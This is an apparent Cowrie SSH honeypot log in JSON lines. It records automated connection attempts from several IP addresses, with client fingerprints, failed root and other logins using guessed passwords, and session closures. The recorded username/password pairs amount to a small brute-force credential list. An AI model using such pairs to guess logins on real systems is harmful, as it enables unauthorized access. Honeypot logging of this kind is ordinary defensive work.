{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:00:35.289648Z","src_ip":"61.222.211.114","session":"b68f2445b38e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:00:35.502570Z","src_ip":"61.222.211.114","session":"b68f2445b38e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ecc","message":"login attempt [root/ecc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:00:36.352254Z","src_ip":"61.222.211.114","session":"b68f2445b38e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:00:37.560732Z","src_ip":"61.222.211.114","session":"b68f2445b38e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.27.162","src_port":49006,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2f181513ff5","protocol":"ssh","message":"New connection: 43.153.27.162:49006 (10.17.0.5:22) [session: d2f181513ff5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:00:47.895380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:00:47.900770Z","src_ip":"43.153.27.162","session":"d2f181513ff5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:00:47.969770Z","src_ip":"43.153.27.162","session":"d2f181513ff5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fwupgrade","message":"login attempt [root/fwupgrade] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:00:48.278630Z","src_ip":"43.153.27.162","session":"d2f181513ff5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:00:49.350581Z","src_ip":"43.153.27.162","session":"d2f181513ff5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.12.41.6","src_port":51224,"dst_ip":"10.17.0.5","dst_port":22,"session":"822402b0b482","protocol":"ssh","message":"New connection: 20.12.41.6:51224 (10.17.0.5:22) [session: 822402b0b482]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:00:50.568658Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:00:50.573355Z","src_ip":"20.12.41.6","session":"822402b0b482","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:00:50.591558Z","src_ip":"20.12.41.6","session":"822402b0b482","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fwupgrade","message":"login attempt [root/fwupgrade] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:00:50.682445Z","src_ip":"20.12.41.6","session":"822402b0b482","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:00:51.700753Z","src_ip":"20.12.41.6","session":"822402b0b482","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":58580,"dst_ip":"159.203.135.109","dst_port":22,"session":"a15e4d2ebd59","protocol":"ssh","message":"New connection: 31.59.89.180:58580 (159.203.135.109:22) [session: a15e4d2ebd59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:00:55.250278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:00:55.254385Z","src_ip":"31.59.89.180","session":"a15e4d2ebd59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:00:55.365299Z","src_ip":"31.59.89.180","session":"a15e4d2ebd59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"administrator1","message":"login attempt [root/administrator1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:00:55.842923Z","src_ip":"31.59.89.180","session":"a15e4d2ebd59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:00:56.957087Z","src_ip":"31.59.89.180","session":"a15e4d2ebd59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:01:23.372667Z","src_ip":"47.86.95.62","session":"5df49beffddd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:01:26.653810Z","src_ip":"47.86.95.62","session":"5df49beffddd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.36.248","src_port":26490,"dst_ip":"159.203.135.109","dst_port":22,"session":"24ffd8a69c29","protocol":"ssh","message":"New connection: 118.26.36.248:26490 (159.203.135.109:22) [session: 24ffd8a69c29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:01:48.467401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:01:48.476745Z","src_ip":"118.26.36.248","session":"24ffd8a69c29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:01:48.696031Z","src_ip":"118.26.36.248","session":"24ffd8a69c29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:01:49.599852Z","src_ip":"118.26.36.248","session":"24ffd8a69c29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:01:50.821621Z","src_ip":"118.26.36.248","session":"24ffd8a69c29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.27.162","src_port":37292,"dst_ip":"10.17.0.5","dst_port":22,"session":"5647256f4c21","protocol":"ssh","message":"New connection: 43.153.27.162:37292 (10.17.0.5:22) [session: 5647256f4c21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:02:00.472528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:02:00.477889Z","src_ip":"43.153.27.162","session":"5647256f4c21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:02:00.547278Z","src_ip":"43.153.27.162","session":"5647256f4c21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd-sync","password":"warnight","message":"login attempt [systemd-sync/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:02:00.853408Z","src_ip":"43.153.27.162","session":"5647256f4c21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:02:01.926083Z","src_ip":"43.153.27.162","session":"5647256f4c21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.222.211.114","src_port":58794,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3a0b5f66f22","protocol":"ssh","message":"New connection: 61.222.211.114:58794 (159.203.135.109:22) [session: f3a0b5f66f22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:02:04.923265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:02:04.928539Z","src_ip":"61.222.211.114","session":"f3a0b5f66f22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:02:05.138061Z","src_ip":"61.222.211.114","session":"f3a0b5f66f22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"somebody123","message":"login attempt [root/somebody123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:02:05.987605Z","src_ip":"61.222.211.114","session":"f3a0b5f66f22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:02:07.195523Z","src_ip":"61.222.211.114","session":"f3a0b5f66f22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.12.41.6","src_port":58950,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1ad71be9ba7","protocol":"ssh","message":"New connection: 20.12.41.6:58950 (10.17.0.5:22) [session: f1ad71be9ba7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:02:15.262524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:02:15.267190Z","src_ip":"20.12.41.6","session":"f1ad71be9ba7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:02:15.287799Z","src_ip":"20.12.41.6","session":"f1ad71be9ba7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kritika","message":"login attempt [root/kritika] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:02:15.379309Z","src_ip":"20.12.41.6","session":"f1ad71be9ba7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":44786,"dst_ip":"159.203.135.109","dst_port":22,"session":"f50d1a0c52a3","protocol":"ssh","message":"New connection: 31.59.89.180:44786 (159.203.135.109:22) [session: f50d1a0c52a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:02:15.431126Z"}
